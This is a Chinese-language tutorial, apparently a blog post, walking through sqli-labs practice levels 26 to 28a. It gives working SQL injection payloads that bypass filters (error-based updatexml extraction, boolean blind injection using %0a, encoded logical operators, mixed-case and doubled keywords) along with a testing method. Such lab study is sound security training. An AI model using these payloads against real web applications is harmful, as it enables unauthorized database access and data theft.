SQLi-labs学习sql注入(六)
字数 1093 2025-09-01 11:25:54
SQL注入进阶:绕过过滤技术详解
环境准备
- 操作系统:Windows 7
- 部署工具:phpstudy2018
- 测试平台:sqli-labs
第26关:空格和注释过滤绕过
注入点判断
?id=1'→ 页面报错?id=1"→ 页面正常,确定为单引号闭合- 双引号不闭合原因:MySQL发生隐式类型转换,只取了数字1而忽略了双引号
过滤规则
- 过滤内容:空格、注释、or/and
- 绕过方法:
- 逻辑运算符:
||代替or,&&代替and - 报错注入中空格较少,可使用报错注入
- 逻辑运算符:
有效Payload
?id=1' %26%26 updatexml(1,concat(0x7e,database(),0x7e),1)||'1'='1
关键点说明
- 逻辑运算符可以全部使用
||或&&,也可以混合使用 - 使用
&&时必须URL编码为%26%26 - 末尾的
||'1'='1用于闭合原始SQL中的单引号
URL编码原理
- URL不允许特殊字符,浏览器会自动将
&编码为%26 - HTTP协议中
&用于分割参数 - 直接使用
&&会导致参数解析错误 - 使用
%26%26能确保被正确解码为&&
第26a关:空格和逻辑运算符过滤
绕过技术
- 空格替代:
%0a(换行符)、%09(制表符) - 逻辑运算符:
&&代替and,||代替or
布尔盲注Payload
?id=1'%0a%26%26%0a'1'='1 // 正常显示
?id=1'%0a%26%26%0a'1'='2 // 异常显示
数据库名猜测
?id=1'%0a%26%26%0asubstr(database(),1,1)='s'%0a%26%26%0a'1'='1
第27关:union和select过滤
报错注入Payload
?id=1' and%0aupdatexml(1,concat(0x7e,database(),0x7e),1) and 'a
表名获取
?id=1'%0aand%0aupdatexml(1,concat(0x7e,(SELect%0agroup_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema='security'),0x7e),1)%0aand 'a
第27a关:双引号闭合
布尔盲注Payload
?id=1"%0a and %0asubstr(database(),1,1)='s' %0a and %0a "1"="1
第28关:union select和空格过滤
原始SQL
SELECT * FROM users WHERE id=('$id') LIMIT 0,1
双写绕过Payload
?id=0')uniunion%0aselecton%0aselect%0a1,database(),%0a('1'='1
关键点解析
0使id条件不成立uniunion%0aselecton%0aselect被过滤后剩下union select- 第三个参数
('1'='1用于闭合原始SQL
第28a关:单引号闭合原理
注入点判断
?id=1 // 正常
?id=1' // 异常
?id=1" // 正常
?id=1')or(' // 正常
单引号转义机制
- 两个单引号
'':- MySQL将连续两个单引号转义为一个单引号字符
- 语法正确但会导致类型转换警告
- 一个单引号
':- 缺少字符串结束标记,导致语法错误
总结
常见过滤绕过技术
- 空格过滤:使用
%0a、%09等控制字符 - 注释过滤:使用逻辑闭合代替注释
- 关键字过滤:
- 大小写混合:
SELect - 双写绕过:
uniunion selecton select
- 大小写混合:
- 逻辑运算符过滤:
&&、||替代
重要原则
- 理解服务器处理流程:参数解析 → URL解码 → SQL执行
- 闭合原则:确保注入后的SQL语法正确
- 编码原则:特殊字符必须正确编码
测试方法论
- 先判断注入点类型(单/双引号,是否带括号)
- 测试过滤规则(哪些字符/关键字被过滤)
- 选择合适的绕过技术
- 逐步构造有效Payload